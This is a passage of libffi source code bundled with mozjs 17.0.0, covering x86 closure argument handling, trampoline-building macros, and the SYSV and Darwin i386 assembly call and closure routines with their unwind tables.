ffi_prep_incoming_args_SYSV(args, respp, arg_area, cif); (closure->fun) (cif, *respp, arg_area, closure->user_data); return cif->flags; } #endif /* !X86_WIN64 */ static void ffi_prep_incoming_args_SYSV(char *stack, void **rvalue, void **avalue, ffi_cif *cif) { register unsigned int i; register void **p_argv; register char *argp; register ffi_type **p_arg; argp = stack; #ifdef X86_WIN64 if (cif->rtype->size > sizeof(ffi_arg) || (cif->flags == FFI_TYPE_STRUCT && (cif->rtype->size != 1 && cif->rtype->size != 2 && cif->rtype->size != 4 && cif->rtype->size != 8))) { *rvalue = *(void **) argp; argp += sizeof(void *); } #else if ( cif->flags == FFI_TYPE_STRUCT ) { *rvalue = *(void **) argp; argp += sizeof(void *); } #endif p_argv = avalue; for (i = cif->nargs, p_arg = cif->arg_types; (i != 0); i--, p_arg++) { size_t z; /* Align if necessary */ if ((sizeof(void*) - 1) & (size_t) argp) { argp = (char *) ALIGN(argp, sizeof(void*)); } #ifdef X86_WIN64 if ((*p_arg)->size > sizeof(ffi_arg) || ((*p_arg)->type == FFI_TYPE_STRUCT && ((*p_arg)->size != 1 && (*p_arg)->size != 2 && (*p_arg)->size != 4 && (*p_arg)->size != 8))) { z = sizeof(void *); *p_argv = *(void **)argp; } else #endif { z = (*p_arg)->size; /* because we're little endian, this is what it turns into. */ *p_argv = (void*) argp; } p_argv++; #ifdef X86_WIN64 argp += (z + sizeof(void*) - 1) & ~(sizeof(void*) - 1); #else argp += z; #endif } return; } #define FFI_INIT_TRAMPOLINE_WIN64(TRAMP,FUN,CTX,MASK) \ { unsigned char *__tramp = (unsigned char*)(TRAMP); \ void* __fun = (void*)(FUN); \ void* __ctx = (void*)(CTX); \ *(unsigned char*) &__tramp[0] = 0x41; \ *(unsigned char*) &__tramp[1] = 0xbb; \ *(unsigned int*) &__tramp[2] = MASK; /* mov $mask, %r11 */ \ *(unsigned char*) &__tramp[6] = 0x48; \ *(unsigned char*) &__tramp[7] = 0xb8; \ *(void**) &__tramp[8] = __ctx; /* mov __ctx, %rax */ \ *(unsigned char *) &__tramp[16] = 0x49; \ *(unsigned char *) &__tramp[17] = 0xba; \ *(void**) &__tramp[18] = __fun; /* mov __fun, %r10 */ \ *(unsigned char *) &__tramp[26] = 0x41; \ *(unsigned char *) &__tramp[27] = 0xff; \ *(unsigned char *) &__tramp[28] = 0xe2; /* jmp %r10 */ \ } /* How to make a trampoline. Derived from gcc/config/i386/i386.c. */ #define FFI_INIT_TRAMPOLINE(TRAMP,FUN,CTX) \ { unsigned char *__tramp = (unsigned char*)(TRAMP); \ unsigned int __fun = (unsigned int)(FUN); \ unsigned int __ctx = (unsigned int)(CTX); \ unsigned int __dis = __fun - (__ctx + 10); \ *(unsigned char*) &__tramp[0] = 0xb8; \ *(unsigned int*) &__tramp[1] = __ctx; /* movl __ctx, %eax */ \ *(unsigned char *) &__tramp[5] = 0xe9; \ *(unsigned int*) &__tramp[6] = __dis; /* jmp __fun */ \ } #define FFI_INIT_TRAMPOLINE_STDCALL(TRAMP,FUN,CTX,SIZE) \ { unsigned char *__tramp = (unsigned char*)(TRAMP); \ unsigned int __fun = (unsigned int)(FUN); \ unsigned int __ctx = (unsigned int)(CTX); \ unsigned int __dis = __fun - (__ctx + 10); \ unsigned short __size = (unsigned short)(SIZE); \ *(unsigned char*) &__tramp[0] = 0xb8; \ *(unsigned int*) &__tramp[1] = __ctx; /* movl __ctx, %eax */ \ *(unsigned char *) &__tramp[5] = 0xe8; \ *(unsigned int*) &__tramp[6] = __dis; /* call __fun */ \ *(unsigned char *) &__tramp[10] = 0xc2; \ *(unsigned short*) &__tramp[11] = __size; /* ret __size */ \ } /* the cif must already be prep'ed */ ffi_status ffi_prep_closure_loc (ffi_closure* closure, ffi_cif* cif, void (*fun)(ffi_cif*,void*,void**,void*), void *user_data, void *codeloc) { #ifdef X86_WIN64 #define ISFLOAT(IDX) (cif->arg_types[IDX]->type == FFI_TYPE_FLOAT || cif->arg_types[IDX]->type == FFI_TYPE_DOUBLE) #define FLAG(IDX) (cif->nargs>(IDX)&&ISFLOAT(IDX)?(1<<(IDX)):0) if (cif->abi == FFI_WIN64) { int mask = FLAG(0)|FLAG(1)|FLAG(2)|FLAG(3); FFI_INIT_TRAMPOLINE_WIN64 (&closure->tramp[0], &ffi_closure_win64, codeloc, mask); /* make sure we can execute here */ } #else if (cif->abi == FFI_SYSV) { FFI_INIT_TRAMPOLINE (&closure->tramp[0], &ffi_closure_SYSV, (void*)codeloc); } #ifdef X86_WIN32 else if (cif->abi == FFI_STDCALL) { FFI_INIT_TRAMPOLINE_STDCALL (&closure->tramp[0], &ffi_closure_STDCALL, (void*)codeloc, cif->bytes); } #endif /* X86_WIN32 */ #endif /* !X86_WIN64 */ else { return FFI_BAD_ABI; } closure->cif = cif; closure->user_data = user_data; closure->fun = fun; return FFI_OK; } /* ------- Native raw API support -------------------------------- */ #if !FFI_NO_RAW_API ffi_status ffi_prep_raw_closure_loc (ffi_raw_closure* closure, ffi_cif* cif, void (*fun)(ffi_cif*,void*,ffi_raw*,void*), void *user_data, void *codeloc) { int i; if (cif->abi != FFI_SYSV) { return FFI_BAD_ABI; } /* we currently don't support certain kinds of arguments for raw closures. This should be implemented by a separate assembly language routine, since it would require argument processing, something we don't do now for performance. */ for (i = cif->nargs-1; i >= 0; i--) { FFI_ASSERT (cif->arg_types[i]->type != FFI_TYPE_STRUCT); FFI_ASSERT (cif->arg_types[i]->type != FFI_TYPE_LONGDOUBLE); } FFI_INIT_TRAMPOLINE (&closure->tramp[0], &ffi_closure_raw_SYSV, codeloc); closure->cif = cif; closure->user_data = user_data; closure->fun = fun; return FFI_OK; } static void ffi_prep_args_raw(char *stack, extended_cif *ecif) { memcpy (stack, ecif->avalue, ecif->cif->bytes); } /* we borrow this routine from libffi (it must be changed, though, to * actually call the function passed in the first argument. as of * libffi-1.20, this is not the case.) */ void ffi_raw_call(ffi_cif *cif, void (*fn)(void), void *rvalue, ffi_raw *fake_avalue) { extended_cif ecif; void **avalue = (void **)fake_avalue; ecif.cif = cif; ecif.avalue = avalue; /* If the return value is a struct and we don't have a return */ /* value address then we need to make one */ if ((rvalue == NULL) && (cif->rtype->type == FFI_TYPE_STRUCT)) { ecif.rvalue = alloca(cif->rtype->size); } else ecif.rvalue = rvalue; switch (cif->abi) { #ifdef X86_WIN32 case FFI_SYSV: case FFI_STDCALL: ffi_call_win32(ffi_prep_args_raw, &ecif, cif->bytes, cif->flags, ecif.rvalue, fn); break; #else case FFI_SYSV: ffi_call_SYSV(ffi_prep_args_raw, &ecif, cif->bytes, cif->flags, ecif.rvalue, fn); break; #endif default: FFI_ASSERT(0); break; } } #endif #endif /* !__x86_64__ || X86_WIN64 */ mozjs17.0.0/js/src/ctypes/libffi/src/x86/sysv.S0000664000175000017500000002670712106270662021125 0ustar sstanglsstangl/* ----------------------------------------------------------------------- sysv.S - Copyright (c) 1996, 1998, 2001-2003, 2005, 2008, 2010 Red Hat, Inc. X86 Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifndef __x86_64__ #define LIBFFI_ASM #include #include .text .globl ffi_prep_args .align 4 .globl ffi_call_SYSV .type ffi_call_SYSV,@function ffi_call_SYSV: .LFB1: pushl %ebp .LCFI0: movl %esp,%ebp .LCFI1: /* Make room for all of the new args. */ movl 16(%ebp),%ecx subl %ecx,%esp /* Align the stack pointer to 16-bytes */ andl $0xfffffff0, %esp movl %esp,%eax /* Place all of the ffi_prep_args in position */ pushl 12(%ebp) pushl %eax call *8(%ebp) /* Return stack to previous state and call the function */ addl $8,%esp call *28(%ebp) /* Load %ecx with the return type code */ movl 20(%ebp),%ecx /* Protect %esi. We're going to pop it in the epilogue. */ pushl %esi /* If the return value pointer is NULL, assume no return value. */ cmpl $0,24(%ebp) jne 0f /* Even if there is no space for the return value, we are obliged to handle floating-point values. */ cmpl $FFI_TYPE_FLOAT,%ecx jne noretval fstp %st(0) jmp epilogue 0: call 1f .Lstore_table: .long noretval-.Lstore_table /* FFI_TYPE_VOID */ .long retint-.Lstore_table /* FFI_TYPE_INT */ .long retfloat-.Lstore_table /* FFI_TYPE_FLOAT */ .long retdouble-.Lstore_table /* FFI_TYPE_DOUBLE */ .long retlongdouble-.Lstore_table /* FFI_TYPE_LONGDOUBLE */ .long retuint8-.Lstore_table /* FFI_TYPE_UINT8 */ .long retsint8-.Lstore_table /* FFI_TYPE_SINT8 */ .long retuint16-.Lstore_table /* FFI_TYPE_UINT16 */ .long retsint16-.Lstore_table /* FFI_TYPE_SINT16 */ .long retint-.Lstore_table /* FFI_TYPE_UINT32 */ .long retint-.Lstore_table /* FFI_TYPE_SINT32 */ .long retint64-.Lstore_table /* FFI_TYPE_UINT64 */ .long retint64-.Lstore_table /* FFI_TYPE_SINT64 */ .long retstruct-.Lstore_table /* FFI_TYPE_STRUCT */ .long retint-.Lstore_table /* FFI_TYPE_POINTER */ 1: pop %esi add (%esi, %ecx, 4), %esi jmp *%esi /* Sign/zero extend as appropriate. */ retsint8: movsbl %al, %eax jmp retint retsint16: movswl %ax, %eax jmp retint retuint8: movzbl %al, %eax jmp retint retuint16: movzwl %ax, %eax jmp retint retfloat: /* Load %ecx with the pointer to storage for the return value */ movl 24(%ebp),%ecx fstps (%ecx) jmp epilogue retdouble: /* Load %ecx with the pointer to storage for the return value */ movl 24(%ebp),%ecx fstpl (%ecx) jmp epilogue retlongdouble: /* Load %ecx with the pointer to storage for the return value */ movl 24(%ebp),%ecx fstpt (%ecx) jmp epilogue retint64: /* Load %ecx with the pointer to storage for the return value */ movl 24(%ebp),%ecx movl %eax,0(%ecx) movl %edx,4(%ecx) jmp epilogue retint: /* Load %ecx with the pointer to storage for the return value */ movl 24(%ebp),%ecx movl %eax,0(%ecx) retstruct: /* Nothing to do! */ noretval: epilogue: popl %esi movl %ebp,%esp popl %ebp ret .LFE1: .ffi_call_SYSV_end: .size ffi_call_SYSV,.ffi_call_SYSV_end-ffi_call_SYSV .align 4 FFI_HIDDEN (ffi_closure_SYSV) .globl ffi_closure_SYSV .type ffi_closure_SYSV, @function ffi_closure_SYSV: .LFB2: pushl %ebp .LCFI2: movl %esp, %ebp .LCFI3: subl $40, %esp leal -24(%ebp), %edx movl %edx, -12(%ebp) /* resp */ leal 8(%ebp), %edx movl %edx, 4(%esp) /* args = __builtin_dwarf_cfa () */ leal -12(%ebp), %edx movl %edx, (%esp) /* &resp */ #if defined HAVE_HIDDEN_VISIBILITY_ATTRIBUTE || !defined __PIC__ call ffi_closure_SYSV_inner #else movl %ebx, 8(%esp) .LCFI7: call 1f 1: popl %ebx addl $_GLOBAL_OFFSET_TABLE_+[.-1b], %ebx call ffi_closure_SYSV_inner@PLT movl 8(%esp), %ebx #endif movl -12(%ebp), %ecx cmpl $FFI_TYPE_INT, %eax je .Lcls_retint /* Handle FFI_TYPE_UINT8, FFI_TYPE_SINT8, FFI_TYPE_UINT16, FFI_TYPE_SINT16, FFI_TYPE_UINT32, FFI_TYPE_SINT32. */ cmpl $FFI_TYPE_UINT64, %eax jge 0f cmpl $FFI_TYPE_UINT8, %eax jge .Lcls_retint 0: cmpl $FFI_TYPE_FLOAT, %eax je .Lcls_retfloat cmpl $FFI_TYPE_DOUBLE, %eax je .Lcls_retdouble cmpl $FFI_TYPE_LONGDOUBLE, %eax je .Lcls_retldouble cmpl $FFI_TYPE_SINT64, %eax je .Lcls_retllong cmpl $FFI_TYPE_STRUCT, %eax je .Lcls_retstruct .Lcls_epilogue: movl %ebp, %esp popl %ebp ret .Lcls_retint: movl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retfloat: flds (%ecx) jmp .Lcls_epilogue .Lcls_retdouble: fldl (%ecx) jmp .Lcls_epilogue .Lcls_retldouble: fldt (%ecx) jmp .Lcls_epilogue .Lcls_retllong: movl (%ecx), %eax movl 4(%ecx), %edx jmp .Lcls_epilogue .Lcls_retstruct: movl %ebp, %esp popl %ebp ret $4 .LFE2: .size ffi_closure_SYSV, .-ffi_closure_SYSV #if !FFI_NO_RAW_API /* Precalculate for e.g. the Solaris 10/x86 assembler. */ #if FFI_TRAMPOLINE_SIZE == 10 #define RAW_CLOSURE_CIF_OFFSET 12 #define RAW_CLOSURE_FUN_OFFSET 16 #define RAW_CLOSURE_USER_DATA_OFFSET 20 #elif FFI_TRAMPOLINE_SIZE == 24 #define RAW_CLOSURE_CIF_OFFSET 24 #define RAW_CLOSURE_FUN_OFFSET 28 #define RAW_CLOSURE_USER_DATA_OFFSET 32 #else #define RAW_CLOSURE_CIF_OFFSET ((FFI_TRAMPOLINE_SIZE + 3) & ~3) #define RAW_CLOSURE_FUN_OFFSET (RAW_CLOSURE_CIF_OFFSET + 4) #define RAW_CLOSURE_USER_DATA_OFFSET (RAW_CLOSURE_FUN_OFFSET + 4) #endif #define CIF_FLAGS_OFFSET 20 .align 4 FFI_HIDDEN (ffi_closure_raw_SYSV) .globl ffi_closure_raw_SYSV .type ffi_closure_raw_SYSV, @function ffi_closure_raw_SYSV: .LFB3: pushl %ebp .LCFI4: movl %esp, %ebp .LCFI5: pushl %esi .LCFI6: subl $36, %esp movl RAW_CLOSURE_CIF_OFFSET(%eax), %esi /* closure->cif */ movl RAW_CLOSURE_USER_DATA_OFFSET(%eax), %edx /* closure->user_data */ movl %edx, 12(%esp) /* user_data */ leal 8(%ebp), %edx /* __builtin_dwarf_cfa () */ movl %edx, 8(%esp) /* raw_args */ leal -24(%ebp), %edx movl %edx, 4(%esp) /* &res */ movl %esi, (%esp) /* cif */ call *RAW_CLOSURE_FUN_OFFSET(%eax) /* closure->fun */ movl CIF_FLAGS_OFFSET(%esi), %eax /* rtype */ cmpl $FFI_TYPE_INT, %eax je .Lrcls_retint /* Handle FFI_TYPE_UINT8, FFI_TYPE_SINT8, FFI_TYPE_UINT16, FFI_TYPE_SINT16, FFI_TYPE_UINT32, FFI_TYPE_SINT32. */ cmpl $FFI_TYPE_UINT64, %eax jge 0f cmpl $FFI_TYPE_UINT8, %eax jge .Lrcls_retint 0: cmpl $FFI_TYPE_FLOAT, %eax je .Lrcls_retfloat cmpl $FFI_TYPE_DOUBLE, %eax je .Lrcls_retdouble cmpl $FFI_TYPE_LONGDOUBLE, %eax je .Lrcls_retldouble cmpl $FFI_TYPE_SINT64, %eax je .Lrcls_retllong .Lrcls_epilogue: addl $36, %esp popl %esi popl %ebp ret .Lrcls_retint: movl -24(%ebp), %eax jmp .Lrcls_epilogue .Lrcls_retfloat: flds -24(%ebp) jmp .Lrcls_epilogue .Lrcls_retdouble: fldl -24(%ebp) jmp .Lrcls_epilogue .Lrcls_retldouble: fldt -24(%ebp) jmp .Lrcls_epilogue .Lrcls_retllong: movl -24(%ebp), %eax movl -20(%ebp), %edx jmp .Lrcls_epilogue .LFE3: .size ffi_closure_raw_SYSV, .-ffi_closure_raw_SYSV #endif .section .eh_frame,EH_FRAME_FLAGS,@progbits .Lframe1: .long .LECIE1-.LSCIE1 /* Length of Common Information Entry */ .LSCIE1: .long 0x0 /* CIE Identifier Tag */ .byte 0x1 /* CIE Version */ #ifdef HAVE_AS_ASCII_PSEUDO_OP #ifdef __PIC__ .ascii "zR\0" /* CIE Augmentation */ #else .ascii "\0" /* CIE Augmentation */ #endif #elif defined HAVE_AS_STRING_PSEUDO_OP #ifdef __PIC__ .string "zR" /* CIE Augmentation */ #else .string "" /* CIE Augmentation */ #endif #else #error missing .ascii/.string #endif .byte 0x1 /* .uleb128 0x1; CIE Code Alignment Factor */ .byte 0x7c /* .sleb128 -4; CIE Data Alignment Factor */ .byte 0x8 /* CIE RA Column */ #ifdef __PIC__ .byte 0x1 /* .uleb128 0x1; Augmentation size */ .byte 0x1b /* FDE Encoding (pcrel sdata4) */ #endif .byte 0xc /* DW_CFA_def_cfa */ .byte 0x4 /* .uleb128 0x4 */ .byte 0x4 /* .uleb128 0x4 */ .byte 0x88 /* DW_CFA_offset, column 0x8 */ .byte 0x1 /* .uleb128 0x1 */ .align 4 .LECIE1: .LSFDE1: .long .LEFDE1-.LASFDE1 /* FDE Length */ .LASFDE1: .long .LASFDE1-.Lframe1 /* FDE CIE offset */ #if defined __PIC__ && defined HAVE_AS_X86_PCREL .long .LFB1-. /* FDE initial location */ #elif defined __PIC__ .long .LFB1@rel #else .long .LFB1 #endif .long .LFE1-.LFB1 /* FDE address range */ #ifdef __PIC__ .byte 0x0 /* .uleb128 0x0; Augmentation size */ #endif .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI0-.LFB1 .byte 0xe /* DW_CFA_def_cfa_offset */ .byte 0x8 /* .uleb128 0x8 */ .byte 0x85 /* DW_CFA_offset, column 0x5 */ .byte 0x2 /* .uleb128 0x2 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI1-.LCFI0 .byte 0xd /* DW_CFA_def_cfa_register */ .byte 0x5 /* .uleb128 0x5 */ .align 4 .LEFDE1: .LSFDE2: .long .LEFDE2-.LASFDE2 /* FDE Length */ .LASFDE2: .long .LASFDE2-.Lframe1 /* FDE CIE offset */ #if defined __PIC__ && defined HAVE_AS_X86_PCREL .long .LFB2-. /* FDE initial location */ #elif defined __PIC__ .long .LFB2@rel #else .long .LFB2 #endif .long .LFE2-.LFB2 /* FDE address range */ #ifdef __PIC__ .byte 0x0 /* .uleb128 0x0; Augmentation size */ #endif .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI2-.LFB2 .byte 0xe /* DW_CFA_def_cfa_offset */ .byte 0x8 /* .uleb128 0x8 */ .byte 0x85 /* DW_CFA_offset, column 0x5 */ .byte 0x2 /* .uleb128 0x2 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI3-.LCFI2 .byte 0xd /* DW_CFA_def_cfa_register */ .byte 0x5 /* .uleb128 0x5 */ #if !defined HAVE_HIDDEN_VISIBILITY_ATTRIBUTE && defined __PIC__ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI7-.LCFI3 .byte 0x83 /* DW_CFA_offset, column 0x3 */ .byte 0xa /* .uleb128 0xa */ #endif .align 4 .LEFDE2: #if !FFI_NO_RAW_API .LSFDE3: .long .LEFDE3-.LASFDE3 /* FDE Length */ .LASFDE3: .long .LASFDE3-.Lframe1 /* FDE CIE offset */ #if defined __PIC__ && defined HAVE_AS_X86_PCREL .long .LFB3-. /* FDE initial location */ #elif defined __PIC__ .long .LFB3@rel #else .long .LFB3 #endif .long .LFE3-.LFB3 /* FDE address range */ #ifdef __PIC__ .byte 0x0 /* .uleb128 0x0; Augmentation size */ #endif .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI4-.LFB3 .byte 0xe /* DW_CFA_def_cfa_offset */ .byte 0x8 /* .uleb128 0x8 */ .byte 0x85 /* DW_CFA_offset, column 0x5 */ .byte 0x2 /* .uleb128 0x2 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI5-.LCFI4 .byte 0xd /* DW_CFA_def_cfa_register */ .byte 0x5 /* .uleb128 0x5 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI6-.LCFI5 .byte 0x86 /* DW_CFA_offset, column 0x6 */ .byte 0x3 /* .uleb128 0x3 */ .align 4 .LEFDE3: #endif #endif /* ifndef __x86_64__ */ #if defined __ELF__ && defined __linux__ .section .note.GNU-stack,"",@progbits #endif mozjs17.0.0/js/src/ctypes/libffi/src/x86/darwin.S0000664000175000017500000002314312106270662021374 0ustar sstanglsstangl/* ----------------------------------------------------------------------- darwin.S - Copyright (c) 1996, 1998, 2001, 2002, 2003, 2005 Red Hat, Inc. Copyright (C) 2008 Free Software Foundation, Inc. X86 Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifndef __x86_64__ #define LIBFFI_ASM #include #include .text .globl _ffi_prep_args .align 4 .globl _ffi_call_SYSV _ffi_call_SYSV: .LFB1: pushl %ebp .LCFI0: movl %esp,%ebp .LCFI1: subl $8,%esp /* Make room for all of the new args. */ movl 16(%ebp),%ecx subl %ecx,%esp movl %esp,%eax /* Place all of the ffi_prep_args in position */ subl $8,%esp pushl 12(%ebp) pushl %eax call *8(%ebp) /* Return stack to previous state and call the function */ addl $16,%esp call *28(%ebp) /* Load %ecx with the return type code */ movl 20(%ebp),%ecx /* Protect %esi. We're going to pop it in the epilogue. */ pushl %esi /* If the return value pointer is NULL, assume no return value. */ cmpl $0,24(%ebp) jne 0f /* Even if there is no space for the return value, we are obliged to handle floating-point values. */ cmpl $FFI_TYPE_FLOAT,%ecx jne noretval fstp %st(0) jmp epilogue 0: .align 4 call 1f .Lstore_table: .long noretval-.Lstore_table /* FFI_TYPE_VOID */ .long retint-.Lstore_table /* FFI_TYPE_INT */ .long retfloat-.Lstore_table /* FFI_TYPE_FLOAT */ .long retdouble-.Lstore_table /* FFI_TYPE_DOUBLE */ .long retlongdouble-.Lstore_table /* FFI_TYPE_LONGDOUBLE */ .long retuint8-.Lstore_table /* FFI_TYPE_UINT8 */ .long retsint8-.Lstore_table /* FFI_TYPE_SINT8 */ .long retuint16-.Lstore_table /* FFI_TYPE_UINT16 */ .long retsint16-.Lstore_table /* FFI_TYPE_SINT16 */ .long retint-.Lstore_table /* FFI_TYPE_UINT32 */ .long retint-.Lstore_table /* FFI_TYPE_SINT32 */ .long retint64-.Lstore_table /* FFI_TYPE_UINT64 */ .long retint64-.Lstore_table /* FFI_TYPE_SINT64 */ .long retstruct-.Lstore_table /* FFI_TYPE_STRUCT */ .long retint-.Lstore_table /* FFI_TYPE_POINTER */ .long retstruct1b-.Lstore_table /* FFI_TYPE_SMALL_STRUCT_1B */ .long retstruct2b-.Lstore_table /* FFI_TYPE_SMALL_STRUCT_2B */ 1: pop %esi add (%esi, %ecx, 4), %esi jmp *%esi /* Sign/zero extend as appropriate. */ retsint8: movsbl %al, %eax jmp retint retsint16: movswl %ax, %eax jmp retint retuint8: movzbl %al, %eax jmp retint retuint16: movzwl %ax, %eax jmp retint retfloat: /* Load %ecx with the pointer to storage for the return value */ movl 24(%ebp),%ecx fstps (%ecx) jmp epilogue retdouble: /* Load %ecx with the pointer to storage for the return value */ movl 24(%ebp),%ecx fstpl (%ecx) jmp epilogue retlongdouble: /* Load %ecx with the pointer to storage for the return value */ movl 24(%ebp),%ecx fstpt (%ecx) jmp epilogue retint64: /* Load %ecx with the pointer to storage for the return value */ movl 24(%ebp),%ecx movl %eax,0(%ecx) movl %edx,4(%ecx) jmp epilogue retstruct1b: /* Load %ecx with the pointer to storage for the return value */ movl 24(%ebp),%ecx movb %al,0(%ecx) jmp epilogue retstruct2b: /* Load %ecx with the pointer to storage for the return value */ movl 24(%ebp),%ecx movw %ax,0(%ecx) jmp epilogue retint: /* Load %ecx with the pointer to storage for the return value */ movl 24(%ebp),%ecx movl %eax,0(%ecx) retstruct: /* Nothing to do! */ noretval: epilogue: popl %esi movl %ebp,%esp popl %ebp ret .LFE1: .ffi_call_SYSV_end: .align 4 FFI_HIDDEN (ffi_closure_SYSV) .globl _ffi_closure_SYSV _ffi_closure_SYSV: .LFB2: pushl %ebp .LCFI2: movl %esp, %ebp .LCFI3: subl $40, %esp leal -24(%ebp), %edx movl %edx, -12(%ebp) /* resp */ leal 8(%ebp), %edx movl %edx, 4(%esp) /* args = __builtin_dwarf_cfa () */ leal -12(%ebp), %edx movl %edx, (%esp) /* &resp */ movl %ebx, 8(%esp) .LCFI7: call L_ffi_closure_SYSV_inner$stub movl 8(%esp), %ebx movl -12(%ebp), %ecx cmpl $FFI_TYPE_INT, %eax je .Lcls_retint /* Handle FFI_TYPE_UINT8, FFI_TYPE_SINT8, FFI_TYPE_UINT16, FFI_TYPE_SINT16, FFI_TYPE_UINT32, FFI_TYPE_SINT32. */ cmpl $FFI_TYPE_UINT64, %eax jge 0f cmpl $FFI_TYPE_UINT8, %eax jge .Lcls_retint 0: cmpl $FFI_TYPE_FLOAT, %eax je .Lcls_retfloat cmpl $FFI_TYPE_DOUBLE, %eax je .Lcls_retdouble cmpl $FFI_TYPE_LONGDOUBLE, %eax je .Lcls_retldouble cmpl $FFI_TYPE_SINT64, %eax je .Lcls_retllong cmpl $FFI_TYPE_SMALL_STRUCT_1B, %eax je .Lcls_retstruct1b cmpl $FFI_TYPE_SMALL_STRUCT_2B, %eax je .Lcls_retstruct2b cmpl $FFI_TYPE_STRUCT, %eax je .Lcls_retstruct .Lcls_epilogue: movl %ebp, %esp popl %ebp ret .Lcls_retint: movl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retfloat: flds (%ecx) jmp .Lcls_epilogue .Lcls_retdouble: fldl (%ecx) jmp .Lcls_epilogue .Lcls_retldouble: fldt (%ecx) jmp .Lcls_epilogue .Lcls_retllong: movl (%ecx), %eax movl 4(%ecx), %edx jmp .Lcls_epilogue .Lcls_retstruct1b: movsbl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retstruct2b: movswl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retstruct: lea -8(%ebp),%esp movl %ebp, %esp popl %ebp ret $4 .LFE2: #if !FFI_NO_RAW_API #define RAW_CLOSURE_CIF_OFFSET ((FFI_TRAMPOLINE_SIZE + 3) & ~3) #define RAW_CLOSURE_FUN_OFFSET (RAW_CLOSURE_CIF_OFFSET + 4) #define RAW_CLOSURE_USER_DATA_OFFSET (RAW_CLOSURE_FUN_OFFSET + 4) #define CIF_FLAGS_OFFSET 20 .align 4 FFI_HIDDEN (ffi_closure_raw_SYSV) .globl _ffi_closure_raw_SYSV _ffi_closure_raw_SYSV: .LFB3: pushl %ebp .LCFI4: movl %esp, %ebp .LCFI5: pushl %esi .LCFI6: subl $36, %esp movl RAW_CLOSURE_CIF_OFFSET(%eax), %esi /* closure->cif */ movl RAW_CLOSURE_USER_DATA_OFFSET(%eax), %edx /* closure->user_data */ movl %edx, 12(%esp) /* user_data */ leal 8(%ebp), %edx /* __builtin_dwarf_cfa () */ movl %edx, 8(%esp) /* raw_args */ leal -24(%ebp), %edx movl %edx, 4(%esp) /* &res */ movl %esi, (%esp) /* cif */ call *RAW_CLOSURE_FUN_OFFSET(%eax) /* closure->fun */ movl CIF_FLAGS_OFFSET(%esi), %eax /* rtype */ cmpl $FFI_TYPE_INT, %eax je .Lrcls_retint /* Handle FFI_TYPE_UINT8, FFI_TYPE_SINT8, FFI_TYPE_UINT16, FFI_TYPE_SINT16, FFI_TYPE_UINT32, FFI_TYPE_SINT32. */ cmpl $FFI_TYPE_UINT64, %eax jge 0f cmpl $FFI_TYPE_UINT8, %eax jge .Lrcls_retint 0: cmpl $FFI_TYPE_FLOAT, %eax je .Lrcls_retfloat cmpl $FFI_TYPE_DOUBLE, %eax je .Lrcls_retdouble cmpl $FFI_TYPE_LONGDOUBLE, %eax je .Lrcls_retldouble cmpl $FFI_TYPE_SINT64, %eax je .Lrcls_retllong .Lrcls_epilogue: addl $36, %esp popl %esi popl %ebp ret .Lrcls_retint: movl -24(%ebp), %eax jmp .Lrcls_epilogue .Lrcls_retfloat: flds -24(%ebp) jmp .Lrcls_epilogue .Lrcls_retdouble: fldl -24(%ebp) jmp .Lrcls_epilogue .Lrcls_retldouble: fldt -24(%ebp) jmp .Lrcls_epilogue .Lrcls_retllong: movl -24(%ebp), %eax movl -20(%ebp), %edx jmp .Lrcls_epilogue .LFE3: #endif .section __IMPORT,__jump_table,symbol_stubs,self_modifying_code+pure_instructions,5 L_ffi_closure_SYSV_inner$stub: .indirect_symbol _ffi_closure_SYSV_inner hlt ; hlt ; hlt ; hlt ; hlt .section __TEXT,__eh_frame,coalesced,no_toc+strip_static_syms+live_support EH_frame1: .set L$set$0,LECIE1-LSCIE1 .long L$set$0 LSCIE1: .long 0x0 .byte 0x1 .ascii "zR\0" .byte 0x1 .byte 0x7c .byte 0x8 .byte 0x1 .byte 0x10 .byte 0xc .byte 0x5 .byte 0x4 .byte 0x88 .byte 0x1 .align 2 LECIE1: .globl 